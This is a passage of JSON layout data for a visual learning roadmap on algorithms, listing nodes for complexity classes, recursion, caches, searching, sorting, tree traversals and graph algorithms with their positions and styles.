false,\n      \"data\": {\n        \"label\": \"Common Runtimes\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 164,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 39.87782517276179,\n        \"y\": 292.84403101269277\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 164,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"3F_QBv_sU39ehOxpurF88\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 39.87782517276179,\n        \"y\": 335.298079058721\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Constant\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 164,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 164,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 39.87782517276179,\n        \"y\": 335.298079058721\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 164,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nnlMNkQn1HU4U9yPbV9kQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 39.87782517276179,\n        \"y\": 388.298079058721\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Logarithmic\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 164,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 164,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 39.87782517276179,\n        \"y\": 388.298079058721\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 164,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jymhjv8GiFALQpox6aZeu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 39.87782517276179,\n        \"y\": 441.298079058721\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Linear\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 164,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 164,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 39.87782517276179,\n        \"y\": 441.298079058721\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 164,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sVFvpsAO1_ZH9aliEj9aF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 39.87782517276179,\n        \"y\": 494.298079058721\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Polynomial\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 164,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 164,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 39.87782517276179,\n        \"y\": 494.298079058721\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 164,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5mMLr6tWbiSZuox1lx0_B\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 39.87782517276179,\n        \"y\": 547.298079058721\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Exponential\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 164,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 164,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 39.87782517276179,\n        \"y\": 547.298079058721\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 164,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"m0umGQNdvg95UiNpQZsQN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 39.87782517276179,\n        \"y\": 600.298079058721\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Factorial\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 164,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 164,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 39.87782517276179,\n        \"y\": 600.298079058721\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 164,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7a6-AnBI-3tAU1dkOvPkx\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 315.1360889073014,\n        \"y\": 688.892308338741\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Common Algorithms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"vxvWZhnYGvF_XmpgYZaF0\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 315.1360889073014,\n        \"y\": 688.892308338741\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3YVSwyAWpOFGRNB2ORlTP\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 51.285006211484074,\n        \"y\": 791.51024555143\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Recursion\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"rGPwumQxXvHokyYU2vXxP\"\n      },\n      \"zIndex\": 999,\n      \"width\": 95,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 51.285006211484074,\n        \"y\": 791.51024555143\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 95,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"0_qNhprnXU3i8koW3XTdD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 2.285006211484074,\n        \"y\": 829.6450861060737\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tail Recursion\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"hna0HLu0l4NTNNpyGqlW5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 2.285006211484074,\n        \"y\": 829.6450861060737\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iLEOuQgUgU5Jc38iXDpp5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1.8363921197505988,\n        \"y\": 882.6450861060737\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Non-Tail Recursion\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1.8363921197505988,\n        \"y\": 882.6450861060737\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6NOTA9CTNjvXUYbvcEmV2\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 77.14403325322604,\n        \"y\": 1118.5168968034543\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Caches\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"6NJT_BEA5GZlrLYKKIeZH\"\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 36,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 36\n      },\n      \"positionAbsolute\": {\n        \"x\": 77.14403325322604,\n        \"y\": 1118.5168968034543\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"cEsboPT8nLvo0Zt0_oBq6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.64403325322604,\n        \"y\": 1207.5168968034543\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"LRU Cache\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"n11ujPI3of-52l2KW2CDQ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 154\n      },\n      \"positionAbsolute\": {\n        \"x\": 40.64403325322604,\n        \"y\": 1207.5168968034543\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hna0HLu0l4NTNNpyGqlW5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.64403325322604,\n        \"y\": 1154.5168968034543\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MFU Cache\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 154\n      },\n      \"positionAbsolute\": {\n        \"x\": 40.64403325322604,\n        \"y\": 1154.5168968034543\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rGPwumQxXvHokyYU2vXxP\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 50.8363921197506,\n        \"y\": 957.7179002282107\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Searching\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 95,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 50.8363921197506,\n        \"y\": 957.7179002282107\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 95,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"8kTg4O9MrTHRUrp6U-ctA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1.8363921197505988,\n        \"y\": 996.51024555143\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Binary Search\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"XwyqBK9rgP1MMcJrdIzm5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1.8363921197505988,\n        \"y\": 996.51024555143\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XwyqBK9rgP1MMcJrdIzm5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1.8363921197505988,\n        \"y\": 1049.51024555143\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Linear Search\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"hna0HLu0l4NTNNpyGqlW5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1.8363921197505988,\n        \"y\": 1049.51024555143\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6NJT_BEA5GZlrLYKKIeZH\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 280.73997804371857,\n        \"y\": 790.5630912756469\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Sorting\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"rGPwumQxXvHokyYU2vXxP\"\n      },\n      \"zIndex\": 999,\n      \"width\": 72,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 280.73997804371857,\n        \"y\": 790.5630912756469\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 72,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"4wGBYFZpcdTt97WTbSazx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 217.23997804371857,\n        \"y\": 826.5630912756469\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Bubble Sort\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 199,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 217.23997804371857,\n        \"y\": 826.5630912756469\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rOsHFXQm5jNz0RyZQ5ZGs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 217.23997804371857,\n        \"y\": 879.5630912756469\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Selection Sort\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 199,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 217.23997804371857,\n        \"y\": 879.5630912756469\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ujDCW6zZE8dV_fpNf-oIl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 217.23997804371857,\n        \"y\": 932.5630912756467\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Insertion Sort\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 199,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 217.23997804371857,\n        \"y\": 932.5630912756467\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CovrRsBY-sYW_xSegcN6N\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 217.23997804371857,\n        \"y\": 985.5630912756467\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Heap Sort\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 199,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 217.23997804371857,\n        \"y\": 985.5630912756467\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"be0Q8GW9ZX1JbPrBvbMji\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 217.23997804371857,\n        \"y\": 1038.5630912756467\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Quick Sort\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 199,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 217.23997804371857,\n        \"y\": 1038.5630912756467\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Bh-whDbcCjl3m6mRm9w02\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 217.23997804371857,\n        \"y\": 1091.5630912756467\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Merge Sort\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 199,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 217.23997804371857,\n        \"y\": 1091.5630912756467\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"c-de-kUN0nzCH3rZJ9wpy\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -156.17472655616905,\n        \"y\": 793.7862956363665\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tree\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"8H_2ODi3qM_Hv80VH0hGE\"\n      },\n      \"zIndex\": 999,\n      \"width\": 52,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -156.17472655616905,\n        \"y\": 793.7862956363665\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 52,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"psTN5N66xoFHFopgd5faW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -239.67472655616905,\n        \"y\": 835.6811027811971\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Pre-Order Traversal\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 219,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -239.67472655616905,\n        \"y\": 835.6811027811971\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KTrgf14Q6rg2f0v4dqq2s\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -239.67472655616905,\n        \"y\": 888.1811027811971\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"In-Order Traversal\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 219,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -239.67472655616905,\n        \"y\": 888.1811027811971\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4_oGXwjzSY5cX9n7L4iAA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -239.67472655616905,\n        \"y\": 940.6811027811971\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Post Order Traversal\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 219,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -239.67472655616905,\n        \"y\": 940.6811027811971\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ke_ch4fnuKIiGAXUM_LPP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -239.67472655616905,\n        \"y\": 993.1811027811971\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Breadth First Search\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 219,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -239.67472655616905,\n        \"y\": 993.1811027811971\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"chzP5_t2gMi6MstxEzCi5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -239.67472655616905,\n        \"y\": 1045.681102781197\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Depth First Search\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 219,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -239.67472655616905,\n        \"y\": 1045.681102781197\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"snRTZUq3QMJVpdJLemAqr\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -416.0784533997364,\n        \"y\": 793.7862956363665\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Graphs\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 73,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -416.0784533997364,\n        \"y\": 793.7862956363665\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 73,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"vcV6TEM_PqXxtThdfMKGw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -500.5784533997364,\n        \"y\": 834.1625053525993\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Breadth First Search\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 242,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 242,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -500.5784533997364,\n        \"y\": 834.1625053525993\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Yf5gOIe7oiL19MjEVcpdw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -500.5784533997364,\n        \"y\": 887.1625053525993\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Depth First Search\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 242,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 242,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -500.5784533997364,\n        \"y\": 887.1625053525993\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eY4nK2lPYsrR-a_8y2sao\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -500.5784533997364,\n        \"y\": 940.1625053525993\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Bellman Ford's Algorithm\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 242,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 242,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -500.5784533997364,\n        \"y\": 940.1625053525993\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"oJstm-8c-4seWbIWcNgDv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -500.5784533997364,\n        \"y\": 993.1625053525993\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Dijkstra's Algorithm\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 242,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 242,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -500.5784533997364,\n        \"y\": 993.1625053525993\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Yrk2PLUa-_FAPlhCkMl3e\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -500.5784533997364,\n        \"y\": 1046.1625053525993\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"A* Algorithm\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 242,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 242,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -500.5784533997364,\n        \"y\": 1046.1625053525993\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6JcfglgWW6LmaLLZy1Qqc\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -177.11437987820793,\n        \"y\": 1117.5325761366144\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Back Tracking\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 126,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -177.11437987820793,\n        \"y\": 1117.5325761366144\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 126,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"aBjBHpq_OajgQjxdCobXD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 